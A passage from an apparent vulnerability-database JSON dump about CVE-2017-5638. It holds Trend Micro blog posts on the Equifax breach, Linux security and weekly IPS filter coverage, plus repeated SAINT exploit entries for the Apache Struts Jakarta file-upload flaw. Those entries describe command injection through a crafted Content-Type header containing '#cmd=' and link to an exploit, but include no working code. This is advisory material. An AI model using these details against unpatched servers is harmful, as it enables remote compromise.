either piece of legislation was in effect during the Equifax breach, the company [would have been looking at major fines](<https://www.darkreading.com/equifax-avoided-fines-but-what-if-/a/d-id/1332487?>).\n\n## What Now?\n\nDespite the initial uproar, very little has happened in wake of the Equifax breach. The creation of strict regulation in the EU had been underway for years. The initiative in California had already been underway when this breach happened.\n\nDespite the outrage, very little came of the breach outside of Equifax itself. They brought in new leadership and have tried to [shift the security culture](<https://www.wired.com/story/equifax-security-overhaul-year-after-breach/>), both solid steps. The [consent letter](<http://www.latimes.com/business/la-fi-equifax-settlement-20180627-story.html#>) signed will help ensure that Equifax continues to build a strong security culture but it doesn't impact any of the other agencies.\n\nIs this the future? As more and more companies move to monetize data and customer behaviours, a [lack of political will](<https://www.axios.com/after-equifaxs-mega-breach-nothing-changed-1536241622-baf8e0cf-d727-43db-b4d4-77c7599fff1e.html>) and a lack of consumer pressure means that **YOUR** data remains at risk.\n\nRegulation is always challenging but it's clear that the market isn't providing a solution as few of the affected individuals have a relationship with the companies holding the data. Your personal information is just that\u2026yours and very personal.\n\nIndividuals need the ability to hold organizations that put that information at risk accountable.\n\nThe post [Sound, Fury, And Nothing One Year After Equifax](<https://blog.trendmicro.com/sound-fury-and-nothing-one-year-after-equifax/>) appeared first on [](<https://blog.trendmicro.com>).", "cvss3": {}, "published": "2018-09-07T12:00:34", "type": "trendmicroblog", "title": "Sound, Fury, And Nothing One Year After Equifax", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2018-09-07T12:00:34", "id": "TRENDMICROBLOG:71F44A4A56FE1111907DD39C26B46152", "href": "https://blog.trendmicro.com/sound-fury-and-nothing-one-year-after-equifax/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-06-26T21:16:51", "description": "![](http://blog.trendmicro.com/wp-content/uploads/2017/04/Linux_blog_Trend_Micro-300x255.png)\n\n**_\u201cThere are no threats for Linux servers. Aren\u2019t they built to be secure?\u201d_**\n\n**_\u201cLinux servers are secure and hardened, why do we need additional security controls on those?\u201d_**\n\n**_\u201cI do understand there are threats out there but I am not aware of any major attacks on Linux servers\u201d_**\n\nIf you find yourself nodding as you read these statements, you\u2019re not alone.\n\nThere is a common belief that Linux servers are more secure and less vulnerable than Windows servers.\n\nAlthough there is some truth in the belief, the reality is that Linux servers (and the applications they host) also have vulnerabilities and by ignoring this, you are putting your business at unnecessary risk.\n\n**Widespread and increasing use**\n\nThere was a time not too long ago when Linux was a \u2018geek\u2019 OS, the domain of command line management and limited enterprise use. Those days are definitely gone, clearly illustrated by things like Gartner pegging the global OS growth for Linux at 13.5%[1], as well as the prevalence of Linux in the public cloud environment, as demonstrated by the fact that [approximately 90% of workloads in AWS EC2](<http://thecloudmarket.com/stats#/by_platform_definition>) are running some variant of Linux. With such widespread use for sensitive enterprise applications, it\u2019s no small wonder that there is an increasing focus on attacking Linux servers, as evidenced in the recent ransomware attack in South Korea that used a [Linux-focused ransomware attack called Erebus](<https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/erebus-linux-ransomware-impact-to-servers-and-countermeasures>) that impacted the web sites, databases, and multi-media files of 3,400 businesses.\n\n**Secure, but still vulnerable**\n\nWith more and more servers moving beyond the enterprise boundary and into the cloud, network protection at the host-level becomes increasingly important, as workloads need to defend themselves vs. having a perimeter around them. And remember, workloads include the applications that sit on top of Linux\u2026it\u2019s more than just the OS.\n\nHaving a host-based Intrusion Prevention System (IPS) will help protect against vulnerabilities in core operating system AND the application stack running on top. Great examples of network-accessible vulnerabilities with wide-spread impacts are the recent [Apache Struts-2](<http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2017-5638-apache-struts-vulnerability-remote-code-execution/>) issue, Heartbleed and Shellshock, but there are many more. And just because a vulnerability, like Heartbleed, is a couple years old doesn\u2019t mean that applications and servers are not still vulnerable. In a recent Shodan survey, it showed that Heartbleed was still an available vulnerability on more than 180,000 servers around the world, with the majority of them in the US!\n\n[1] Gartner, \u201cMarket Share Analysis: Server Operating Systems, Worldwide, 2016\u201d, ID#G00318388, May 26, 2017\n\n![](http://blog.trendmicro.com/wp-content/uploads/2017/04/blog-5-1024x656.jpg)\n\nIf you run a web server on Linux (running on at least 37 percent of the web servers out there according to [W3Techs](<https://w3techs.com/technologies/details/os-linux/all/all>)), you need protection against vulnerabilities affecting them, including Apache, Nginx, etc.\n\n \n\n** ** | **Vulnerabilities Covered in and after 2014 (approx.)** | **Before 2014 (approx.)** | **Total** \n---|---|---|--- \n**Non-Windows OS and Core Services** | **80** | **230** | **310** \n**Web Servers** | **114** | **472** | **586** \n**Application Servers** | **255** | **319** | **574** \n**Web Console/Management Interfaces** | **113** | **453** | **566** \n**Database Servers** | **10** | **218** | **228** \n**DHCP, FTP, DNS servers** | **9** | **82** | **91** \n \n_Table 1: Vulnerabilities Protected by Deep Security_\n\n \n\nIt is very important to not confuse vulnerabilities with threats. While there may be fewer known threats for Linux, if you look at the National Vulnerability Database, there are a similar number of vulnerabilities reported for both [Linux](<https://nvd.nist.gov/vuln/search/results?adv_search=false&form_type=basic&results_type=overview&search_type=all&query=linux>), and [Windows](<https://nvd.nist.gov/vuln/search/results?adv_search=false&form_type=basic&results_type=overview&search_type=all&query=windows>) operating systems.\n\n**Malware, designed for Linux**\n\nContrary to popular belief, there is a lot of malware for the Linux platform. While the numbers in comparison to Microsoft Windows are not quite as high, there are still tens of thousands of pieces of malware designed for Linux, including the [Erebus ransomware](<https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/erebus-linux-ransomware-impact-to-servers-and-countermeasures>) mentioned above.\n\nDeploying ONLY anti-malware is inadequate for protecting servers. However, most attacks on datacenters that lead to breach involve the installation of malware as part of the attack chain. This is why compliance and security frameworks such as PCI-DSS (Section #3), SANS CIS Critical Security Controls (Section #8), and NIST Cybersecurity Framework (Section DE.CM-4) all continue to recommend anti-malware as a best practice.\n\n**Layered security for Linux workloads**\n\nIt\u2019s clear that there is no silver bullet when it comes to server security, and that businesses should be using a layered security approach to protect vulnerable Linux workloads. Beyond anti-malware and IPS, there are a number of controls that will help to build a robust Linux strategy:\n\n| \n\n * Application Control: helps \u2018lock down\u2019 the Linux host to prevent any unknown process or script from running. This prevents the malware from running in the first place or attackers from taking advantage of backdoors that it might have placed on the server.\n * Integrity Monitoring: A new threat is likely to make changes to the system somewhere (ports, protocol changes, files), so it\u2019s important to watch for these. Integrity monitoring helps with monitoring the system for any changes outside of an authorized change window, which tend to be few for typical production workloads.\n * Log Inspection: Scans log files and provides a continuous monitoring process to help identify threats early in the cycle. Attacks like SQL Injection, command injection, attacks against APIs can be seen in the logs and then action taken. \n---|--- \n| \n \nThe lesson we learn here is that although Linux is a more secure and reliable operating system option, it\u2019s not your cure-all solution when it comes to security. Like any other OS, some assembly and maintenance is required, and it\u2019s your responsibility to adopt a multi-layered security strategy, including managing regular updates and adding additional security controls to protect the servers AND the applications running on them. To learn more about Linux vulnerabilities and how to protect against them using Trend Micro Deep Security, [read our short research paper here.](<https://www.trendmicro.com/aws/wp-content/uploads/2017/03/Why_Security_for_Linux_Servers_June2017.pdf>)", "cvss3": {}, "published": "2017-06-15T19:00:13", "title": "Linux is secure\u2026right?", "type": "trendmicroblog", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-06-15T19:00:13", "href": "http://blog.trendmicro.com/linux-is-secureright/", "id": "TRENDMICROBLOG:5DA0AA0203F450ED9FF0CB21A89017BB", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-09-25T14:43:29", "description": "![](http://blog.trendmicro.com/wp-content/uploads/2017/08/TippingPoint-300x205.jpg)\n\nIn last week\u2019s [blog](<http://blog.trendmicro.com/tippingpoint-threat-intelligence-zero-day-coverage-week-september-4-2017/>), I mentioned the Apache Struts vulnerability, which is still making headlines as estimates show that as many as 65 percent of Fortune 500 companies use it in some form. In addition, Equifax claims [it has played a role](<https://www.equifaxsecurity2017.com/2017/09/13/progress-update-consumers-4/>) in their breach affecting more than 143 million Americans.\n\nOn July 11, 2017, Digital Vaccine\u00ae (DV) filter 29068 (HTTP: Apache Struts 2 Struts 1 Plugin Remote Code Execution Vulnerability) was shipped to customers using TippingPoint solutions to address a vulnerability in Struts. Once the TippingPoint DVLabs team discovered the exploit code for CVE-2017-12611, it was tested and the team found that DV filter 29068 effectively covered this vulnerability while it was still a 0-day for nearly two months! Looking at data from a small percentage of customers using TippingPoint solutions, the DVLabs team has seen significant activity from filter 29068, including a mixture of both scanning/fingerprinting attempts of the vulnerability, as well as actual exploit attempts. Since this DV filter was available since July, customers have been able to use it as a virtual patch to protect their networks while they work out their process to patch the Apache vulnerability and make other system and policy adjustments.\n\nFor more information on the Apache Struts vulnerability and Trend Micro coverage, please reference the following blogs:\n\n| \n\n * [CVE-2017-5638: Apache Struts 2 Vulnerability Leads to Remote Code Execution](<http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2017-5638-apache-struts-vulnerability-remote-code-execution/>)\n * [New Apache Struts Vulnerability Could Be Worse than POODLE](<https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/new-apache-struts-vulnerability-could-be-worse-than-poodle>) \n---|--- \n| \n \n**TippingPoint\u00ae Threat Management Center (TMC) and ThreatLinQ Planned System Outage Notification**\n\nEffective Sunday, September 24, 2017, Trend Micro is introducing an enhanced License Manager feature to allow for easier management of licenses for the TippingPoint Threat Protection System (TPS) family of products. In order to deploy the new feature, both the Threat Management Center (TMC) and ThreatLinQ Web sites will be intermittently unavailable during the following dates and times:\n\n**From** | **Time** | **To** | **Time** \n---|---|---|--- \nFriday, September 22, 2017 | 7:00 PM (CDT) | Sunday, September 24, 2017 | 8:00 PM (CDT) \nSaturday, September 23, 2017 | 12:00 AM (UTC) | Monday, September 25, 2017 | 1:00 AM (UTC) \n \n \n\nDuring the upgrade window, the Security Management System (SMS), Intrusion Prevention System (IPS), Next Generation Firewall (NGFW), Threat Protection System (TPS) and ArcSight Enterprise Security Manager (ESM) connectivity to the TMC will be intermittently unavailable. This will prevent Digital Vaccine (DV), Threat Digital Vaccine (ThreatDV), Reputation Security Monitor (RepSM) and TippingPoint Operating System (TOS) updates from occurring until the upgrade is completed. Customers with any questions or concerns can contact the TippingPoint Technical Assistance Center (TAC).\n\n**Microsoft Update**\n\nThis week\u2019s Digital Vaccine\u00ae (DV) package includes coverage for Microsoft updates released on or before September 12, 2017. Microsoft released a whopping 81 security patches for September covering Windows, Internet Explorer (IE), Edge, Exchange, .NET Framework, Office, and Hyper-V. 26 of the patches are listed as Critical, 53 are rated Important, and two are Moderate in severity. 10 of the Microsoft CVEs came through the Zero Day Initiative program. The following table maps Digital Vaccine filters to the Microsoft updates. Filters marked with an asterisk (*) shipped prior to this DV package, providing preemptive zero-day protection for customers. You can get more detailed information on this month\u2019s security updates from Dustin Childs\u2019 [September 2017 Security Update Review](<https://www.zerodayinitiative.com/blog/2017/9/12/the-september-2017-security-update-review>) from the Zero Day Initiative:\n\n**CVE #** | **Digital Vaccine Filter #** | **Status** \n---|---|--- \nCVE-2017-0161 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8567 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8597 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8628 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8629 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8630 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8631 | 29599 | \nCVE-2017-8632 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8643 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8648 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8649 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8660 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8675 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8676 | *28226 | \nCVE-2017-8677 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8678 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8679 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8680 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8681 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8682 | 29569 | \nCVE-2017-8683 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8684 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8685 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8686 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8687 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8688 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8692 | *28737 | \nCVE-2017-8695 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8696 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8699 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8702 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8704 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8706 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8707 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8708 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8709 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8710 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8711 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8712 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8713 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8714 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8716 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8719 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8720 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8723 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8724 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8725 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8728 | 29574 | \nCVE-2017-8729 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8731 | 29577 | \nCVE-2017-8733 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8734 | 29579 | \nCVE-2017-8735 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8736 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8737 | *28736 | \nCVE-2017-8738 | *28981 | \nCVE-2017-8739 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8740 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8741 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8742 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8743 | *29153 | \nCVE-2017-8744 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8745 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8746 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8747 | 29581 | \nCVE-2017-8748 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8749 | 29575 | \nCVE-2017-8750 | 29576 | \nCVE-2017-8751 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8752 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8753 | 29573 | \nCVE-2017-8754 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8755 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8756 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8757 | 29578 | \nCVE-2017-8758 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-8759 | 29600 | \nCVE-2017-9417 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-11761 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-11764 | | Vendor Deemed Reproducibility or Exploitation Unlikely \nCVE-2017-11766 | | Vendor Deemed Reproducibility or Exploitation Unlikely \n \n \n\n**Mobile Pwn2Own 2017 Returns to Tokyo!**\n\nThe Zero Day Initiative is pleased to announce the sixth annual Mobile Pwn2Own\u2122 competition will return at this year\u2019s [PacSec](<https://pacsec.jp/>) conference in Tokyo on November 1-2, 2017. The tradition of crowning a Master of Pwn will also return as some of the world\u2019s top security researchers demonstrate attacks on the most popular mobile devices. More than $500,000 USD will be available in the prize pool, with add-on bonuses for exploits that meet a higher bar of difficulty. For details on targets and challenges as well as the complete set of rules, click [here](<https://www.zerodayinitiative.com/blog/2017/8/24/mobile-pwn2own-2017-returns-to-tokyo>).\n\n**Zero-Day Filters**\n\nThere are 18 new zero-day filters covering seven vendors in this week\u2019s Digital Vaccine (DV) package. A number of existing filters in this week\u2019s DV package were modified to update the filter description, update specific filter deployment recommendation, increase filter accuracy and/or optimize performance. You can browse the list of [published advisories](<http://www.zerodayinitiative.com/advisories/published/>) and [upcoming advisories](<http://www.zerodayinitiative.com/advisories/upcoming/>) on the [Zero Day Initiative](<http://www.zerodayinitiative.com/>) website.\n\n**_Adobe (1)_**\n\n| \n\n * 29584: ZDI-CAN-5034: Zero Day Initiative Vulnerability (Adobe Acrobat Pro DC)**_ _** \n---|--- \n| \n \n**_Delta (1)_**\n\n| \n\n * 29557: HTTP: Delta Industrial Automation WPLSoft File Parser Usage (ZDI-17-698) \n---|--- \n| \n \n**_Eaton (1)_**\n\n| \n\n * 29558: HTTP: Eaton ELCSoft Buffer Overflow Vulnerability (ZDI-17-519) \n---|--- \n| \n \n**_Foxit (12)_**\n\n| \n\n * 29544: ZDI-CAN-5016: Zero Day Initiative Vulnerability (Foxit Reader)\n * 29545: ZDI-CAN-5017: Zero Day Initiative Vulnerability (Foxit Reader)\n * 29546: ZDI-CAN-5018: Zero Day Initiative Vulnerability (Foxit Reader)\n * 29552: ZDI-CAN-5019: Zero Day Initiative Vulnerability (Foxit Reader)\n * 29553: ZDI-CAN-5020,5027,5029: Zero Day Initiative Vulnerability (Foxit Reader)\n * 29555: ZDI-CAN-5021: Zero Day Initiative Vulnerability (Foxit Reader)\n * 29556: ZDI-CAN-5022: Zero Day Initiative Vulnerability (Foxit Reader)\n * 29559: ZDI-CAN-5023: Zero Day Initiative Vulnerability (Foxit Reader)\n * 29563: ZDI-CAN-5024: Zero Day Initiative Vulnerability (Foxit Reader)\n * 29564: ZDI-CAN-5025: Zero Day Initiative Vulnerability (Foxit Reader)\n * 29565: ZDI-CAN-5026: Zero Day Initiative Vulnerability (Foxit Reader)\n * 29566: ZDI-CAN-5028: Zero Day Initiative Vulnerability (Foxit Reader) \n---|--- \n| \n \n**_Mitsubishi Electric (1)_**\n\n| \n\n * 29448: HTTP: Mitsubishi Electric E-Designer SetupAlarm Font Buffer Overflow Vulnerability (ZDI-17-508) \n---|--- \n| \n \n**_Schneider Electric (1)_**\n\n| \n\n * 29550: HTTP: Schneider Electric U.motion Builder SOAP Request SQL Command Execution (ZDI-17-387) \n---|--- \n| \n \n**_Trend Micro (1)_**\n\n| \n\n * 29452: HTTP: Trend Micro Control Manager cgiShowClientAdm Authentication Request (ZDI-17-244) \n---|--- \n| \n \n**Missed Last Week\u2019s News?**\n\nCatch up on last week\u2019s news in my [weekly recap](<http://blog.trendmicro.com/tippingpoint-threat-intelligence-zero-day-coverage-week-september-4-2017/>).", "cvss3": {}, "published": "2017-09-15T14:59:53", "title": "TippingPoint Threat Intelligence and Zero-Day Coverage \u2013 Week of September 11, 2017", "type": "trendmicroblog", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2017-0161", "CVE-2017-11761", "CVE-2017-11764", "CVE-2017-11766", "CVE-2017-12611", "CVE-2017-5638", "CVE-2017-8567", "CVE-2017-8597", "CVE-2017-8628", "CVE-2017-8629", "CVE-2017-8630", "CVE-2017-8631", "CVE-2017-8632", "CVE-2017-8643", "CVE-2017-8648", "CVE-2017-8649", "CVE-2017-8660", "CVE-2017-8675", "CVE-2017-8676", "CVE-2017-8677", "CVE-2017-8678", "CVE-2017-8679", "CVE-2017-8680", "CVE-2017-8681", "CVE-2017-8682", "CVE-2017-8683", "CVE-2017-8684", "CVE-2017-8685", "CVE-2017-8686", "CVE-2017-8687", "CVE-2017-8688", "CVE-2017-8692", "CVE-2017-8695", "CVE-2017-8696", "CVE-2017-8699", "CVE-2017-8702", "CVE-2017-8704", "CVE-2017-8706", "CVE-2017-8707", "CVE-2017-8708", "CVE-2017-8709", "CVE-2017-8710", "CVE-2017-8711", "CVE-2017-8712", "CVE-2017-8713", "CVE-2017-8714", "CVE-2017-8716", "CVE-2017-8719", "CVE-2017-8720", "CVE-2017-8723", "CVE-2017-8724", "CVE-2017-8725", "CVE-2017-8728", "CVE-2017-8729", "CVE-2017-8731", "CVE-2017-8733", "CVE-2017-8734", "CVE-2017-8735", "CVE-2017-8736", "CVE-2017-8737", "CVE-2017-8738", "CVE-2017-8739", "CVE-2017-8740", "CVE-2017-8741", "CVE-2017-8742", "CVE-2017-8743", "CVE-2017-8744", "CVE-2017-8745", "CVE-2017-8746", "CVE-2017-8747", "CVE-2017-8748", "CVE-2017-8749", "CVE-2017-8750", "CVE-2017-8751", "CVE-2017-8752", "CVE-2017-8753", "CVE-2017-8754", "CVE-2017-8755", "CVE-2017-8756", "CVE-2017-8757", "CVE-2017-8758", "CVE-2017-8759", "CVE-2017-9417"], "modified": "2017-09-15T14:59:53", "href": "http://blog.trendmicro.com/tippingpoint-threat-intelligence-zero-day-coverage-week-september-11-2017/", "id": "TRENDMICROBLOG:5232F354244FCA9F40053F10BE385E28", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "saint": [{"lastseen": "2023-02-08T15:36:51", "description": "Added: 03/16/2017 \nCVE: [CVE-2017-5638](<https://vulners.com/cve/CVE-2017-5638>) \nBID: [96729](<http://www.securityfocus.com/bid/96729>) \n\n\n### Background\n\nApache Struts is an open-source web application framework for developing Java EE web applications. It uses and extends the Java Servlet API to encourage developers to adopt a model-view-controller (MVC) architecture. \n\n### Problem\n\nThe Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 improperly handles file upload. Remote attackers can execute arbitrary commands via a \"`**#cmd=**`\" string in a specially crafted Content-Type HTTP header. \n\n### Resolution\n\n[Upgrade](<http://struts.apache.org/download.cgi>) Struts 2.3.x series to Struts 2.3.32 or later, and Struts 2.5.x series to Struts 2.5.10.1 or later. \n\n### References\n\n<https://cwiki.apache.org/confluence/display/WW/S2-045> \n<https://www.exploit-db.com/exploits/41570/> \n\n\n### Limitations\n\nExploit works on vulnerable versions of Apache Struts 2.3.5 through 2.3.31 and 2.5 through 2.5.10. \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2017-03-16T00:00:00", "type": "saint", "title": "Apache Struts 2 Jakarta Multipart Parser file upload command execution", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-16T00:00:00", "id": "SAINT:01D1CBFEFCD799FC1DCF4DD30F44F248", "href": "https://my.saintcorporation.com/cgi-bin/exploit_info/apache_struts2_jakarta_file_upload_command_execution", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-28T14:33:29", "description": "Added: 03/16/2017 \nCVE: [CVE-2017-5638](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638>) \nBID: [96729](<http://www.securityfocus.com/bid/96729>) \n\n\n### Background\n\nApache Struts is an open-source web application framework for developing Java EE web applications. It uses and extends the Java Servlet API to encourage developers to adopt a model-view-controller (MVC) architecture. \n\n### Problem\n\nThe Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 improperly handles file upload. Remote attackers can execute arbitrary commands via a \"`**#cmd=**`\" string in a specially crafted Content-Type HTTP header. \n\n### Resolution\n\n[Upgrade](<http://struts.apache.org/download.cgi>) Struts 2.3.x series to Struts 2.3.32 or later, and Struts 2.5.x series to Struts 2.5.10.1 or later. \n\n### References\n\n<https://cwiki.apache.org/confluence/display/WW/S2-045> \n<https://www.exploit-db.com/exploits/41570/> \n\n\n### Limitations\n\nExploit works on vulnerable versions of Apache Struts 2.3.5 through 2.3.31 and 2.5 through 2.5.10. \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-03-16T00:00:00", "type": "saint", "title": "Apache Struts 2 Jakarta Multipart Parser file upload command execution", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-16T00:00:00", "id": "SAINT:966010900F7632E797C552D31C2BB53A", "href": "http://download.saintcorporation.com/cgi-bin/exploit_info/apache_struts2_jakarta_file_upload_command_execution", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-10T12:21:32", "description": "Added: 03/16/2017 \nCVE: [CVE-2017-5638](<https://vulners.com/cve/CVE-2017-5638>) \nBID: [96729](<http://www.securityfocus.com/bid/96729>) \n\n\n### Background\n\nApache Struts is an open-source web application framework for developing Java EE web applications. It uses and extends the Java Servlet API to encourage developers to adopt a model-view-controller (MVC) architecture. \n\n### Problem\n\nThe Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 improperly handles file upload. Remote attackers can execute arbitrary commands via a \"`**#cmd=**`\" string in a specially crafted Content-Type HTTP header. \n\n### Resolution\n\n[Upgrade](<http://struts.apache.org/download.cgi>) Struts 2.3.x series to Struts 2.3.32 or later, and Struts 2.5.x series to Struts 2.5.10.1 or later. \n\n### References\n\n<https://cwiki.apache.org/confluence/display/WW/S2-045> \n<https://www.exploit-db.com/exploits/41570/> \n\n\n### Limitations\n\nExploit works on vulnerable versions of Apache Struts 2.3.5 through 2.3.31 and 2.5 through 2.5.10. \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2017-03-16T00:00:00", "type": "saint", "title": "Apache Struts 2 Jakarta Multipart Parser file upload command execution", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": 